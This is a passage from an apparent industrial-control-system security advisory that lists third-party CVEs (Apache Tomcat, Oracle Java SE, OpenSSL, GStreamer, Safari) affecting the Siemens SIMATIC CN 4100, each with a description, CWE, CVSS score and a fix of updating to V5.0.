userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-43368\n<div class=\"csaf-accordion-content\">\n\nA use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26, iOS 26 and iPadOS 26, macOS Tahoe 26. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-47219\n<div class=\"csaf-accordion-content\">\n\nIn GStreamer through 1.26.1, the isomp4 plugin's qtdemux_parse_trak function may read past the end of a heap buffer while parsing an MP4 file, possibly leading to information disclosure.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n8.1\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-48989\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat made Tomcat vulnerable to the made you reset attack. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.9, from 10.1.0-M1 through 10.1.43 and from 9.0.0.M1 through 9.0.107. Older, EOL versions may also be affected. Users are recommended to upgrade to one of versions 11.0.10, 10.1.44 or 9.0.108 which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53057\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53066\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55752\n<div class=\"csaf-accordion-content\">\n\nRelative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-23 Relative Path Traversal\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55754\n<div class=\"csaf-accordion-content\">\n\nImproper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.6\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61748\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 21.0.8 and 25; Oracle GraalVM for JDK: 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61795\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat. If an error occurred (including exceeding limits) during the processing of a multipart upload, temporary copies of the uploaded parts written to disc were not cleaned up immediately but left for the garbage collection process to delete. Depending on JVM settings, application memory usage and application load, it was possible that space for the temporary copies of uploaded parts would be filled faster than GC cleared it, leading to a DoS. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.11, from 10.1.0-M1 through 10.1.46, from 9.0.0.M1 through 9.0.109. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.12 or later, 10.1.47 or later or 9.0.110 or later which fixes the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-2673\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword. Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server. If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported. As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction). OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included. The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group. The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'. No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary. OpenSSL 3.6 and 3.5 are vulnerable to this issue. OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released. OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21925\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: RMI). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.8\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21932\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: AWT, JavaFX). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.4\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21933\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.1\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21945\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-400 Uncontrolled Resource Consumption\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21947\n<div class=\"csaf-accordion-content\">\n\nVulnerability in Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u471-b50. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.1\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22924\n<div class=\"csaf-accordion-content\">\n\nThe affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later 